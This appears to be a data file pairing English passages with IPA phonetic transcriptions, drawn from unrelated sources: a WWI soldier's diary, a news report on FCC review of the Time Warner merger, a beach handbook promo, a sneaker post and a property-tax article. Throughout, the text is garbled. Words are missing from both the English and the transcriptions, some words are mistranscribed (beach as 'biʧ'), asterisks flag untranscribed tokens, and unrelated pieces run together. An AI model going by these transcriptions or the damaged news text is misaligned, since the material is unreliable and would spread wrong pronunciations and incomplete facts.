ˈʤænjuˌɛri 8 1916 ˈræfəl praɪz: ˈhɛri wən ðɪs ˈʤərmən ˈskæbərd ɪn ə ˈræfəl ənd sɛnt ɪt hoʊm æt əˈbaʊt 3.30am*, aɪ hərd ˈnɔɪzɪz ðət ˈsaʊndɪd laɪk waɪərz ˈskreɪpɪŋ təˈgɛðər. hæf ən aʊər ˈleɪtər, ə ˈsɛntri ˈspɑtɪd tu mɛn ˈraɪzɪŋ frəm ðə graʊnd əˈbaʊt 30 jɑrdz ɪn frənt əv ɑr trɛnʧ. wi ɔl ˈoʊpənd ˈræpɪd faɪər. æt ˈdeɪˌbreɪk, wi sɔ ðə rɪˈzəlt: ə dɛd ˈʤərmən leɪ əˈbaʊt 20 jɑrdz ɪn frənt. ˈskætərd əraʊnd wər əˈbaʊt ə ˈdəzən hand-grenades*. ˈgɪvɪn əˈnəðər faɪv ˈmɪnəts, ɑr trɛnʧ wʊd hæv bɪn bloʊn tɪ bɪts. ðə ˈvɪktɪm hæd gɑt ˈpɑrtli θru ɑr bɑrbd waɪər wɪʧ ɪz ˈprɑbəˌbli wət aɪ hərd. ˈleɪtər, wi hɪz ˈbeɪəˌnɛt ˈskæbərd. aɪ wɑz ðə ˈwɪnər ənd sɛnt ɪt hoʊm ɛz ə ˌsuvəˈnɪr. nɛkst ˈpoʊstɪŋ wɑz tɪ ðə frənt laɪn nɪr ɪn ðə ˈriʤən əv ɑrtˈwɑ. ˈsæˌtɪˌdeɪ, mɑrʧ 4 ˈnəθɪŋ hir bət trɛnʧ ˈæftər trɛnʧ ənd, ɪn ˈpleɪsɪz, ðə graʊnd bloʊn ˈɪntu hips əv dərt. ðə triz hæv bɪn hækt tɪ ˈpisɪz ˈoʊnli blæk stəmps rɪˈmeɪn. ˈnəθɪŋ groʊz. ˈətər ˌdɛsəˈleɪʃən. ˈtuzˌdeɪ, mɑrʧ 7 wərkt æt ə ˈfivərɪʃ peɪs, ˈdɪgɪŋ ənd ˈstrɛŋθənɪŋ ˈtrɛnʧɪz ɔl θru læst naɪt. ðɛn θru ðə deɪ, aɪ hæv tɪ du ən ˈsɛntri ˈduti ˈɛvəri θərd aʊər. ðɪs ɪz ˈfɑloʊd baɪ ən aʊər ɛz ðə rɪˈlif mæn, wɪn ˈeɪbəl tɪ sɪt daʊn. fər ðə θərd aʊər, aɪ kən slip. ˈfilɪŋ laɪk moʊst əv ðə ˈəðər ˈfɛloʊz hæf dɛd. ˈwɛnzˌdeɪ, mɑrʧ 8 snoʊd ɔl naɪt. hæd ə hɑrd ʤɑb tɪ kip əˈweɪk. wən ər tu ˈfɛloʊz əv hum aɪ wɑz wən wər faʊnd tɪ bi fæst əsˈlip æt ðə ɛnd əv ðɛr ˈsɛntri. gɔn tɪ slip ˈstændɪŋ əp ənd ðə rɪˈlif mæn wɑz ˈɔlsoʊ əsˈlip. ˈəndər ˈmɪlɪˌtɛri lɔ, ðɪs ɪz ə kraɪm əv ðə fərst ˈwɔtər [ˈpənɪʃəbəl baɪ ˌɛksəˈkjuʃən]. soʊ, ɛz ə priˈvɛntətɪv, əreɪnʤd bɪtˈwin ɑrˈsɛlvz ðət iʧ ˈsɛntri əˈlɔŋ ðə trɛnʧ wɪl faɪər hɪz ˈraɪfəl æt ˈɪntərvəlz. æt dəsk, aɪ pʊt maɪ hɛd ˈoʊvər ðə tɔp tɪ hæv ə lʊk əraʊnd ənd stɑpt ə ˈbʊlət ɔn ðə saɪd əv maɪ stil hæt. ðə vaɪˈbreɪʃən meɪd maɪ hɛd eɪk. ˈθərzˌdeɪ, mɑrʧ 9 oʊɪŋ tɪ fud ˈtrænspɔrts goʊɪŋ əˈstreɪ, wi hæv wən loʊf bɪtˈwin faɪv əv ˈjuˈɛs, ə fju ˈbɪskəts ənd hæf ə tɪn əv ˈmɑrməˌleɪd iʧ pər deɪ. hæv ʤɪst hərd wi hæv ə mɑrʧ ˌbiˈfɔr wi kən bi [fər rɛst]. ˈʤɑli hɑrd laɪnz. rɛst: ðɪs ˌænəˈteɪtɪd ˈfoʊtəˌgræf ʃoʊz ðə 'ˈbɪləts' wɛr ˈhɛri ənd hɪz ˈkɑmˌrædz wər ˈteɪkən fər rɛst ˈfraɪˌdeɪ, mɑrʧ 10 ɪt wɑz snoʊɪŋ ɛz wi sɛt aʊt æt læst naɪt. aɪ sɔ tu ˈfɛloʊz fæst əsˈlip ɛz ðeɪ wɔkt əˈlɔŋ wɔk aʊt əv ðə ræŋks ənd fɔl ˈɪntu ðə dɪʧ æt ðə saɪd əv ðə roʊd. wi ˈhɔltɪd fər tɛn minutes’*’ rɛst ənd aɪ drɑpt daʊn ˈɪntu ə ˈpədəl ənd wɛnt tɪ slip. wɑz əˈneɪbəl tɪ gɪt əp wɪˈθaʊt hɛlp, ənd ˈɛndɪd əp ˈhæŋɪŋ ɔn tɪ luˈtɛnənt ˈdeɪvɪs ɔn wən saɪd ənd ə ˈstrɛʧərˈbɛrər ðə ˈəðər. traɪd tɪ pʊl ˌmaɪˈsɛlf təˈgɛðər ənd wɛnt ˈhɛˌdlɔŋ ɔn ðə roʊd. ðeɪ gɑt mi tɪ maɪ fit əˈgɛn bət aɪ wɑz ˈhɛlpləs. hæv ə veɪg aɪˈdiə ðət aɪ wɑz leɪd ɔn səm strɔ. ðɛn əˈblɪviən. ˈkæʒəwəlti: ˈhɛriz ˈdaɪəri dɪˈskraɪbd ˈbrɪŋɪŋ ˈwundɪd mɛn bæk frəm ðə frontlines*. ðə mɛn ˈpɪkʧərd wər ˈfaɪtɪŋ ɪn ðə ˈbætəl əv ðə, wɛr ˈhɛri ˈɔlsoʊ fɔt ˈsənˌdi, ˈeɪprəl 23 ˈistər ˈsənˌdi. ə ˈbjutəfli ˈsəni [rɛst] deɪ. ˈraɪtɪŋ ɪn ə fild ˌbiˈsaɪd ə brʊk aɪ kən ˈizəli ˌɪˈmæʤən ˌmaɪˈsɛlf bæk ɪn ˈɪŋglənd. ɔl strək wɪθ ðə ˈstreɪnʤnəs əv θɪŋz; wən wik ɪn hɛl ənd ðə nɛkst ɪn kəmˈpærətɪv blɪs. ˈhɛri wɑz ˈɔlsoʊ ˈhɛlpɪŋ tɪ dɪg dip ʃæfts ðət brænʧt aʊt təˈwɔrdz ðə ˈɛnəmi laɪnz. ðə aɪˈdiə wɑz tɪ leɪ ɪkˈsploʊsɪv ˈʧɑrʤɪz bɪˈniθ ˈʤərmən ˈtrɛnʧɪz bət ɛz ðə ˈʤərmənz wər duɪŋ ˈlaɪkˌwaɪz, ðə ˈmaɪnɪŋ timz ˈɔfən traɪd tɪ bloʊ iʧ ˈəðər əp ˈhæfˈweɪ əˈkrɔs. ˈsənˌdi, meɪ 7 ˈwərkɪŋ ɪn ðə maɪnz ən ˈɔfəl streɪn ˈmɛnəli. səm əv ə maɪl ˈəndər ðə graʊnd. ɛr ɪz gɑt daʊn baɪ minz əv ə lɑrʤ pɛr əv ˈbɛloʊz, kəˈnɛktɪd tɪ ə lɔŋ paɪp. bət ˈvɛri ˈstəfi, ənd wi wərk wɪθ bæks bɛnt fər eɪt aʊərz. ˈmənˌdeɪ, meɪ 8 maɪnz əˈgɛn. ˈfilɪŋ ˈvɛri fɛd əp. noʊ wən ʤoʊks: wi ɔl hæv ɪt ɪn ðə bæk əv ɑr maɪndz ðət ðə germans’*’ maɪnz wɪl goʊ əp waɪl daʊn wən əv ɑrz ənd nɑt ə ˈplɛzənt rɪˈflɛkʃən. ˈfraɪˌdeɪ, meɪ 19 ðə ˈʤərmənz ˌfɔrˈstɑld ˈjuˈɛs ðɪs ˈmɔrnɪŋ baɪ əˈbaʊt θri aʊərz. ˈæftər θri mənθs əv hɑrd wərk, ɑr maɪn, taɪmd tɪ goʊ əp æt 8am*, wɑz bloʊn ɪn baɪ ðə ˈʤərmənz æt 4.30am*. ðɛr wɑz ə tərˈɪfɪk ɪkˈsploʊʒən. ðə graʊnd fər jɑrdz əraʊnd wɑz ˈlɪftɪd skywards*, ˈlivɪŋ ə juʤ ˈkreɪtər ɪn ðə graʊnd. ˈhɛlɪʃ fildz: ən ˈɛriəl ˈfoʊtəˌgræf əv ðə ˈtrɛnʧɪz wɛr ˈhɛri sərvd ˈkæptən ˈɛdwərdz, ɑr ˈkəmpəˌni ˈkæptən, krɛpt aʊt ˈoʊvər maɪ ˈpɛrəˌpɛt tɪ ˌɪnˈvɛstəˌgeɪt ðə ˈdæmɪʤ ənd wɑz mɛt baɪ ə fˈjusɪˌleɪd əv ˈbʊləts. hi stɑpt wən θru ðə ˈʃoʊldər ənd wən ɪn ðə hɛd. ðə ˈmoʊmənt ˈæftər hi wɑz hɪt, ən ˈɛnʤəˈnɪr spræŋ ɔn tɪ ðə ˈpɛrəˌpɛt ənd, ˈkrɔlɪŋ ɔn hɪz ˈstəmək, drægd ɪm bæk. wərθ ˈnoʊtɪŋ ðət ðə ˈʤərmən ˈsɛntri hu ʃɑt ˈɛdwərdz kʊd ˈɔlsoʊ hæv ʃɑt hɪz ˈrɛˌskjuər. ɪf hi rɪˈfreɪnd frəm hjuˈmeɪn ˈmoʊtɪvz, hi wɑz ə ˈspɔrtsmən. ˈsæˌtɪˌdeɪ, meɪ 20 wən əv ɑr ˈfɛloʊz pʊt hɪz hɛd ənd ˈʃoʊldərz ˈoʊvər ðə tɔp ənd wɑz ˌɪˈmiˌdiətli snaɪpt θru ðə hɛd. ˈsənˌdi, meɪ 21 ˈæftər ˈsɛntri ˈduti, wi pæst ˈmeɪʤər ʤoʊnz, əv ðə bəˈtæljən, ɛz wi krɛpt bæk tɪ ðə ˈdəˌgaʊt. tɛn ˈmɪnəts ˈleɪtər, hi wɑz biɪŋ dəg aʊt əv əˈbaʊt əv ərθ. gɔn aʊt tɪ ðə maɪn ˈkreɪtər ˈæftər ˈpæsɪŋ ˈjuˈɛs. dɛθ wɑz ˈɪnstənt. ˈbɛrli əraɪvd æt ɑr ˈdəˌgaʊt wɪn ə ˈrənər keɪm əˈlɔŋ ənd geɪv ðə gæs əˈlɑrm. æt ðə seɪm taɪm, ʃɛlz wər ˈreɪnɪŋ daʊn. ˈbrəðərz: ˈwɪljəm (fɑr lɛft) wɑz kɪld baɪ ˈʤərmən faɪər, ənd wɑz soʊ ˈbædli dɪsˈfɪgjərd ðət hɪz oʊn ˈbrəðər, ˈhərbərt (ˈsɛkənd lɛft, ˈstændɪŋ wɪθ ə paɪp), dɪd nɑt ˈriəˌlaɪz hu hi wɑz. ˈhɛri ɪz ˈsɛkənd frəm ðə raɪt ɪn ðɪs ˈfoʊtəˌgræf aɪ hɛlpt tɪ ˈkɛri ən tɪ ðə ˈdrɛsɪŋ ˈsteɪʃən. hɪz ˈfiʧərz wər bloʊn əˈweɪ bət aɪ ˈrɛkəgˌnaɪzd ɪm baɪ hɪz aɪˈdɛntəˌti dɪsk ɛz wən əv maɪ pælz. hi wɑz wən əv tu ˈbrəðərz. ðə ˈəðər, ə ˈstrɛʧərˈbɛrər ˌənˈkɑnʃəs əv hɪz aɪˈdɛntəˌti, wɑz ðə wən hu dəg ɪm aʊt. əraɪvd bæk æt ðə ˈdəˌgaʊt ˈfilɪŋ ˈvɛri sɪk. ˈmənˌdeɪ meɪ 22 æt 11pm*, ɑr ˈfɛloʊz, nɑt ʃʊr əv ðɛr graʊnd ɪn ðə dɑrk, ˈstɑrtɪd sˈlɪŋɪŋ bɑmz ɪn əˈməŋ ðɛmˈsɛlvz. kwaɪt ə ˈjuʒəwəl əˈkərəns. ˈwɛnzˌdeɪ, meɪ 24 təˈdeɪ, di ˈkəmpəˌni, ɔn ɑr lɛft, wɛnt ˈoʊvər ðə tɔp. gɑt əˈbaʊt 100 jɑrdz wɪn ðeɪ wər mɛt baɪ ə əv məˈʃin gənz ənd ˈraɪfəl faɪər. bət ðeɪ stɪl ədˈvænst. səm gɑt tɪ ðə ˈʤərmən laɪnz ənd wər kɪld ɔn ðə ˈpɛrəˌpɛt; səm gɑt ɛnˈtæŋgəld ɪn ðə bɑrbd waɪər ənd ˈrɪdəld wɪθ ˈbʊləts. ˈkæʒəwəltiz: 33 ˈɔrdərz wər naʊ ˈgɪvɪn tɪ ɪˈrɛkt bɑrbd waɪər ɪn ðə ˈkreɪtər lɛft baɪ ðə ɪkˈsploʊdɪd maɪn. ˈtuzˌdeɪ, meɪ 30 æt 3am*, wi krɔld ˈɪntu ðə ˈkreɪtər ənd ˈkɛrid ɔn ˈwaɪrɪŋ ʤɪst 15 jɑrdz frəm ðə ˈʤərmən ˈlɪsənɪŋ poʊst. ðɪs ˈkreɪtər əˈloʊn həz kɔst ˈjuˈɛs 20 ˈkæʒəwəltiz soʊ fɑr. ˈwɛnzˌdeɪ, meɪ 31 sɪks əv ˈjuˈɛs rɪˈlivd ðə ˈsɛntriz ɪn ðə ˈkreɪtər. ɪt wɑz ən ənˈkæni naɪt: rɑ, koʊld ənd ə θɪk mɪst. wi leɪ ɔn ðə ˌɪnˈsaɪd lɪp ənd ˈhɑrdli muvd. æt ðə fərst twɪnʤ əv dɔn, wən əv ðə ˈfɛloʊz pipt ˈoʊvər ðə tɔp ənd sɔ fɔr ˈʤərmənz ˈdɪgɪŋ laɪk ˈbleɪzɪz wɪˈθɪn 12 jɑrdz əv wɛr wi wər laɪɪŋ. ˈdaɪəriz: ˈhɛriz rɪˈmɑrkəbəl ˈdaɪəri ɪz biɪŋ ˈpəblɪʃt fər ðə fərst taɪm, 35 jɪrz ˈæftər hi daɪd fər səm ˈrizən, bɪn toʊld ðət ˈəndər noʊ ˈsərkəmˌstænsɪz wər wi tɪ faɪər; soʊ wi wɪθˈdru. ˈnɛvər bɪn ˈvɛri klɪr tɪ mi waɪ wi ʃʊd rɪsk soʊ məʧ laɪf ʤɪst tɪ pʊt bɑrbd waɪər ɪnˈtæŋgəlmənts ɪn ðə ˈbɑtəm əv ə ˈkreɪtər. təˈdeɪ, bɪn ɔl deɪ lɔŋ. ðə ˈʤərmənz ər ˈvɛri ˈrɛstləs ˈoʊvər ðɪs ˈkreɪtər. ðeɪ kwaɪt meɪk aʊt wət duɪŋ wɪθ ɪt ənd wət wi wɔnt ɪt fər. ˈθərzˌdeɪ, ʤun 1 ðə ˈkreɪtər həz bɪn kəmˈplitli trænsˈfɔrmd. naʊ bɪlt ə ˈlɪtəl ʃæk ɔn ðə nɪr saɪd, prəˈtɛktɪd baɪ ˈsændˌbægz. ˈtuzˌdeɪ, ʤun 6 æt ɔn ˈsənˌdi, ə ʃɛl ˈlændɪd ɪn frənt əv mi ənd əˈnəðər bɪˈhaɪnd, bloʊɪŋ ɪn ðə rɪr əv ðə trɛnʧ ənd sˈməðərɪŋ mi wɪθ dərt. ˈkæʒəwəltiz wər əˈkərɪŋ ˈræpədli. ˈbɛrli ˈbændəʤd ʤoʊnz, hu wɑz ˈbædli hɪt, wɪn ˈistˌwʊd keɪm ˈrəʃɪŋ ɪn tɪ seɪ ðə ˈʃɛltər ɪn ðə ˈkreɪtər hæd bɪn bloʊn ɪn ənd ðə ˈsɛntri grup ˈbɛrid. ə deɪ ˈsunər, ənd hæv bɪn wən əv ðɛm. ʤɪŋks ənd aɪ ˈgæðərd pɪks ənd ˈʃəvəlz ənd meɪd fər ðə ˈkreɪtər. krɔld əˈbaʊt 15 jɑrdz wɪn ə ʃɛl ˈlændɪd ˌɪˈmiˌdiətli ɔn tɔp əv ðə trɛnʧ, ˈpɑrtli ˈbɛriɪŋ ˈjuˈɛs wɪθ ərθ. aɪ fɛlt ðə fɔrs əv ðə ɪkˈsploʊʒən fɔrs maɪ hɛd ˈɪntu maɪ ˈbɑdi ənd ɪt wɑz səm ˈsɛkəndz ˌbiˈfɔr aɪ wɑz ˈeɪbəl tɪ si. baɪ ðɪs taɪm, ɪt wɑz ˌɪmˈpɑsəbəl tɪ goʊ ɔn. ðə graʊnd wɪθ ɪkˈsploʊʒənz ənd ðə ɛr wɑz θɪk wɪθ fjumz. ˈbɛrid əˈlaɪv: ˈsɑrʤənt ˈæʃbi (ˈpɪkʧərd fɑr lɛft ˌbiˈfɔr ˈlivɪŋ tɪ faɪt) wɑz ˈbɛrid ɪn ðə maɪn ˈkreɪtər ˈmɛnʃənd ɪn ˈhɛriz 6 ʤun ˈɛntri aɪ fər ə ˈmoʊmənt θɪŋk gɪt aʊt əv ðɪs əˈlaɪv. bət, ˈæftər θri aʊərz, ˈɛvriˌθɪŋ sist ɛz ˈsədənli ɛz ɪt ˈstɑrtɪd. ˈleɪtər, aɪ faʊnd ən ˌənɪkˈsploʊdɪd ʃɛl wɪˈθɪn ə ˈkəpəl əv fit əv wɛr ʤɪŋks ənd aɪ hæd bɪn laɪɪŋ. ðə gɑdz hæd bɪn gʊd. wi meɪd ɑr weɪ bæk tɪ ðə frənt laɪn, deɪzd. ɪt wɑz unrecognisable*: ə ˈsɪriz əv hoʊlz, noʊ ril trɛnʧ rɪˈmeɪnɪŋ. səm ˈfɛloʊz wər laɪɪŋ əˈbaʊt dɛd, səm ˈwundɪd ənd səm əˈlaɪv wən əv hum ˌɪnkˈwaɪərd əˈbaʊt ðə ˈfɛloʊz ɪn ðə ˈkreɪtər. ðɛn aɪ rɪˈmɛmbərd waɪ lɛft ðə laɪn. ˈgæðərɪŋ əp wət pɪks wi kʊd faɪnd, ə ˈsɑrʤənt ənd aɪ krɔld bæk ˈoʊvər ðə tɔp ənd ˈɪntu ðə ˈkreɪtər. ə ˈrɛʧɪd saɪt. jəŋ ˈkupər wɑz wɛʤd ɪn ðə ˈdɔrˌweɪ dɛd, ðə rɪˈmeɪndər ˈbɛrid ˈəndər ðə ʃæk. wi dəg laɪk fˈjʊri fər tu aʊərz, ˌɪmˈpɛld baɪ ðə fækt ðət wi kʊd hir ˈsəmˌwən ˈfeɪntli ˈgroʊnɪŋ ənd ðət æt ˈɛni ˈmoʊmənt, ðə ˈʤərmənz wʊd bi ˈkəmɪŋ ˈoʊvər. ˈoʊnli ˈsɑrʤənt ˈæʃbi hæd səm saɪnz əv laɪf. ˈlivɪŋ ðoʊz wi hɛlp, wi ˈkɛrid ɪm daʊn tɪ wət rɪˈmeɪnd əv ðə frənt laɪn. æt 9.30pm*, ˈreɪpər ənd ˈmɪdəltən kloʊz frɛndz wɛnt daʊn, kɪld baɪ ə ˈraɪfəl grəˈneɪd. ðɛn ʤɪŋks wɑz hɪt baɪ əˈnəðər ɛz wi leɪ nɛkst tɪ iʧ ˈəðər. hɪz lɛgz hæd bɪn bloʊn ɔf ənd hi wɑz goʊɪŋ fæst. aɪ kʊd du ˈlɪtəl ɛls ðən nil baɪ hɪz saɪd. hi æst mi nɑt tɪ liv ɪm ənd ˈrɛkəgˌnaɪzd mi ˈɔlˌmoʊst tɪ ðə læst ˈmoʊmənt. aɪ sɔ ɪm goʊ wɛst. ɪt wɑz kˈwɪkli ˈoʊvər. ˈhɛri ˈdrɪŋkˌwɔtər, 25 ʤɔɪnd ə battalion’*’ ˈsoʊˈkɔld bɪˈkəz ðə mɛn wər ɪnˈkərəʤd tɪ ʤɔɪn əp wɪθ ˈloʊkəl frɛndz ənd wərk ˈkɑligz ˈminˌwaɪl, ðə ˈʤərmənz wər ˈkəmɪŋ ɪn. ˈoʊnli ə fju gɑt aʊt əv ɑr trɛnʧ əˈgɛn; ðə rɛst əv ðə ˈʤərmənz wər ˈiðər ər bɑmd, ənd wi ˈbɛrid ðɛm ˈleɪtər. ˈwɛnzˌdeɪ, ʤun 7 ˈtoʊtəl bəˈtæljən ˈkæʒəwəltiz fər ˈsənˌdi: 120 ðə ðɪs ˈmɔrnɪŋ wɑz ˈsəmˈwət pəˈθɛtɪk. iʧ taɪm ə neɪm wɑz kɔld aʊt ənd noʊ wən ˈænsərd, wi hæd tɪ seɪ ɪf sin ðə ˈfɛloʊ kɪld ər nu ɪf hi wɑz ˈwundɪd. ðɛr ər naʊ ˈvɛri fju əv ðə ərˈɪʤənəl mɛn aɪ ʤɔɪnd wɪθ. ðə aɪˈdiə ˈəndər wɪʧ ðə bəˈtæljən wɑz fɔrmd, ðət əv frɛndz ˈsərvɪŋ təˈgɛðər, həz lɔŋ sɪns pæst. ˈθərzˌdeɪ, ʤun 15 ðɪs ˌæftərˈnun wi lɔst fɔr mɔr. bət kwaɪt rɪˈzaɪnd ˈnaʊəˌdeɪz tɪ ˈluzɪŋ oʊld ərˈɪʤənəlz. ɪt simz ɛz ɪf ðə feɪts hæv dɪˈkrid ðət hæd ə gʊd rən ənd taɪm ðeɪ wɛnt. ˈkɪlbi æsks: tərn next?’*?’ wi ɔl ˈwəndər... ˈkɪlbi ɪz læst ˈmɛnʃənd ɪn ə ˈdaɪəri ˈɛntri ˈdeɪtɪd ˈʤænjuˌɛri 23 1917 hi ənd ˈhɛri ər æt ə rɛst kæmp ɪn ənd ˈhɛri ɪz ˈlivɪŋ fər blighty*. baɪ ðə ɛnd əv ðə wɔr, ˈhɛri hæd sərvd ɔn ðə, æt ənd ɪn ˈɪtəli ənd hæd rɪˈsivd ðə ˈmɪlɪˌtɛri krɔs fər ˈbreɪvəri. ˈæftər biɪŋ demobbed*, hi wərkt ɛz ə ˈsɪvəl ˈsərvənt. hi ˈnɛvər ˈmɛrid ənd daɪd ɪn 1978 |
federal communications commission chairman pai said on monday that he does not expect the warner deal to be subject to his approval.
speaking to the wall street journal at the mobile world congress in barcelona, spain, pai said that purchase of time warner has been structured in a way that would allow it to avoid scrutiny by not transferring any airwave licenses between the two companies.
“that is the regulatory hook for review,” pai said. “my understanding is that the deal be presented to the commission.”
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in an sec filing last month, time warner revealed that it would not be transferring any of its licenses to as part of the $85 billion merger.
fcc commissioner mignon clyburn, the lone democrat on the panel, has called for the deal to be scrutinized by the.
"to put things in perspective, this transaction is worth $16 billion more than the and the subsequently abandoned/t-mobile deals combined," clyburn said in a statement. "this commission has both the authority and responsibility to thoroughly examine this transaction and we should not shrink from our responsibilities under the laws we are responsible for implementing”.
the deal will still have to be cleared by the justice department.
president trump came out against the deal when it was first announced while he was on the campaign trail last year, but he's since indicated that he is open to changing his position.
"i have been on the record in the past of saying it's too big and we have to keep competition,” he told last month. “so, but other than that, i haven't, you know, i haven't seen any of the facts, yet. i'm sure that will be presented to me and to the people within government." | ˈfɛdərəl kəmˌjunəˈkeɪʃənz kəˈmɪʃən ˈʧɛrmən pɑi sɛd ɔn ˈmənˌdeɪ ðət hi dɪz nɑt ɪkˈspɛkt ðə ˈwɔrnər dil tɪ bi ˈsəbʤɪkt tɪ hɪz əˈpruvəl. ˈspikɪŋ tɪ ðə wɔl strit ˈʤərnəl æt ðə ˈmoʊbəl wərld ˈkɑŋgrəs ɪn ˌbɑrsɪˈloʊnə, speɪn, pɑi sɛd ðət ˈpərʧəs əv taɪm ˈwɔrnər həz bɪn ˈstrəkʧərd ɪn ə weɪ ðət wʊd əˈlaʊ ɪt tɪ əˈvɔɪd ˈskrutəni baɪ nɑt trænsˈfərɪŋ ˈɛni ˈɛrˌweɪv ˈlaɪsənsɪz bɪtˈwin ðə tu ˈkəmpəˌniz. ɪz ðə ˈrɛgjələˌtɔri hʊk fər review,”*,” pɑi sɛd. ˌəndərˈstændɪŋ ɪz ðət ðə dil bi pərˈzɛnəd tɪ ðə commission.”*.” ˌædvərˈtaɪzmənt ɪn ən sɛk ˈfaɪlɪŋ læst mənθ, taɪm ˈwɔrnər rɪˈvild ðət ɪt wʊd nɑt bi trænsˈfərɪŋ ˈɛni əv ɪts ˈlaɪsənsɪz tɪ ɛz pɑrt əv ðə 85 ˈbɪljən ˈmərʤər. kəˈmɪʃənər ˈmɪgnən ˈklɪbərn, ðə loʊn ˈdɛməˌkræt ɔn ðə ˈpænəl, həz kɔld fər ðə dil tɪ bi ˈskrutəˌnaɪzd baɪ ðə. "tɪ pʊt θɪŋz ɪn pərˈspɛktɪv, ðɪs trænˈzækʃən ɪz wərθ 16 ˈbɪljən mɔr ðən ðə ənd ðə ˈsəbsəkwəntli əˈbændənd dilz kəmˈbaɪnd," ˈklɪbərn sɛd ɪn ə ˈsteɪtmənt. "ðɪs kəˈmɪʃən həz boʊθ ðə əˈθɔrəti ənd riˌspɑnsəˈbɪləti tɪ ˈθəroʊli ɪgˈzæmɪn ðɪs trænˈzækʃən ənd wi ʃʊd nɑt ʃrɪŋk frəm ɑr riˌspɑnsəˈbɪlətiz ˈəndər ðə lɔz wi ər riˈspɑnsəbəl fər implementing”*”. ðə dil wɪl stɪl hæv tɪ bi klɪrd baɪ ðə ˈʤəstɪs dɪˈpɑrtmənt. ˈprɛzɪdənt trəmp keɪm aʊt əˈgɛnst ðə dil wɪn ɪt wɑz fərst əˈnaʊnst waɪl hi wɑz ɔn ðə kæmˈpeɪn treɪl læst jɪr, bət hiz sɪns ˈɪndəˌkeɪtɪd ðət hi ɪz ˈoʊpən tɪ ˈʧeɪnʤɪŋ hɪz pəˈzɪʃən. "aɪ hæv bɪn ɔn ðə ˈrɛkərd ɪn ðə pæst əv seɪɪŋ ɪts tu bɪg ənd wi hæv tɪ kip competition,”*,” hi toʊld læst mənθ. ““so*, bət ˈəðər ðən ðət, aɪ ˈhævənt, ju noʊ, aɪ ˈhævənt sin ˈɛni əv ðə fækts, jɛt. əm ʃʊr ðət wɪl bi pərˈzɛnəd tɪ mi ənd tɪ ðə ˈpipəl wɪˈθɪn ˈgəvərnmənt." |
it’s summer. hot. and all you need right now, man, is a beach.
feet in the sand, beer in the hand, looking at gams.
it’s an honorable pursuit. and necessary. and you deserve it.
that’s why proud to introduce the handbook, vol. iv: to the beach!
inside, packed a veritable worth of advice.
to wit:
how to make the perfect beach cocktail
in defense of the lake beach
the swim trunks a man needs
coolers: a definitive guide
plus much more, including our advice on how to comport self on the sand e.g., please dude, turn your elliott smith down. the beach thanks you.
now kick back. relax.
and enjoy the handbook, vol. iv: to the beach! | it’s* ˈsəmər. hɑt. ənd ɔl ju nid raɪt naʊ, mæn, ɪz ə biʧ. fit ɪn ðə sænd, bɪr ɪn ðə hænd, ˈlʊkɪŋ æt gams*. ən ˈɑnərəbəl pərˈsut. ənd ˈnɛsəˌsɛri. ənd ju dɪˈzərv ɪt. waɪ praʊd tɪ ˌɪntrəˈdus ðə ˈhændˌbʊk, vol*. iv*: tɪ ðə biʧ! ˌɪnˈsaɪd, pækt ə ˈvɛrɪtəbəl wərθ əv ədˈvaɪs. tɪ wɪt: haʊ tɪ meɪk ðə ˈpərˌfɪkt biʧ ˈkɑkˌteɪl ɪn dɪˈfɛns əv ðə leɪk biʧ ðə swɪm trəŋks ə mæn nidz ˈkulərz: ə dɪˈfɪnɪtɪv gaɪd pləs məʧ mɔr, ˌɪnˈkludɪŋ ɑr ədˈvaɪs ɔn haʊ tɪ kəmˈpɔrt sɛlf ɔn ðə sænd e.g*., pliz dud, tərn jʊr ˈɛliət smɪθ daʊn. ðə biʧ θæŋks ju. naʊ kɪk bæk. rɪˈlæks. ənd ˌɛnˈʤɔɪ ðə ˈhændˌbʊk, vol*. iv*: tɪ ðə biʧ! |
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more photos below… | ˈnaɪki zum ˈlɛbrən vi nu jɔrk ˈjæŋkiz 5 1 voʊts ðɪs poʊst kənˈteɪnz ˈrɛfərənsɪz tɪ ˈprɑdəkts frəm wən ər mɔr əv ɑr ˈædvərˌtaɪzərz. wi meɪ rɪˈsiv ˌkɑmpənˈseɪʃən wɪn ju klɪk ɔn lɪŋks tɪ ðoʊz ˈprɑdəkts. ðə əˈpɪnjənz ənd ˌɪnˌfɔrˈmeɪʃən prəˈvaɪdɪd ɔn ðɪs saɪt ər ərˈɪʤənəl ˌɛdəˈtɔriəl ˈkɑntɛnt əv sˈnikər nuz. θæŋks tɪ ðə gʊd foʊks ˈoʊvər æt, wi naʊ hæv greɪt ˈpɪkʧərz əv ðə ˈnaɪki zum ˈlɛbrən vi ʃuz ɪn ðə ˈspɛʃəl nu jɔrk ˈjæŋkiz ˈmeɪˌkəp. wi ʃoʊd ju ðiz ə fju wiks bæk bət ðiz dɪˈteɪld ˈpɪkʧərz ðət hæv ʤɪst ˈsərfɪst du ə lɔt mɔr ˈʤəstɪs tɪ ðə ʃuz ðən ðə ˈpɪkʧərz frəm ˌbiˈfɔr. bi priˈpɛrd tɪ si ðiz æt ðə haʊs əv hups ɪn ˈhɑrləm ənd ɔn fit wɪn hi stɛps ˈɪntu ðə ˈgɑrdən ɔn mɑrʧ 5 2008 wɪn ðə teɪk ɔn ðə nɪks. ˈviə mɔr ˈfoʊˌtoʊz below…*… |
democratic gov. andrew cuomo of new york speaks to reporters about his proposal to offer a $1.7 billion property tax credit for homeowners and renters. his was among proposals in several states this year to provide tax relief for property taxpayers. (ap)
with some of the highest median property taxes in the nation, no surprise that relief is at the top of many political agendas in new york, connecticut and new jersey.
counties that surround new york city in those three states account for 18 of the 20 counties in the nation, according to a analysis of the u.s. census’ 2013 american community survey data, which is the latest available.
but they the only states where homeowners feel pressure from property taxes, which are rising faster than inflation nationally and prompting lawmakers to look for ways to provide relief. median property taxes rose 57 percent from $1,334 in 2000 to $2,090 in 2013, while inflation was only 35 percent during the period.
(see the map for the latest median property taxes in each state, and the county with the highest median property taxes in each state.)
texas lawmakers, for instance, are debating as much as a $2.2 billion cut in property taxes. the median tax bill there is about $2,500. that bill, however, is only about a third of the $7,300 for median property tax new jersey, and a quarter of the tax bill property owners pay in westchester county, new york, which has the highest median levy of $10,000.
“if a new yorker heard about a property tax bill in texas, he would say. ‘you have nothing to complain about,’” said scott drenkard, an economist at the tax foundation, a nonpartisan tax policy research group. “but texans complain about property taxes quite a bit. if you ask them what needs to be cut, the average texan would say property taxes. the tax policymakers hear the most about from their constituents. the most hated tax.”
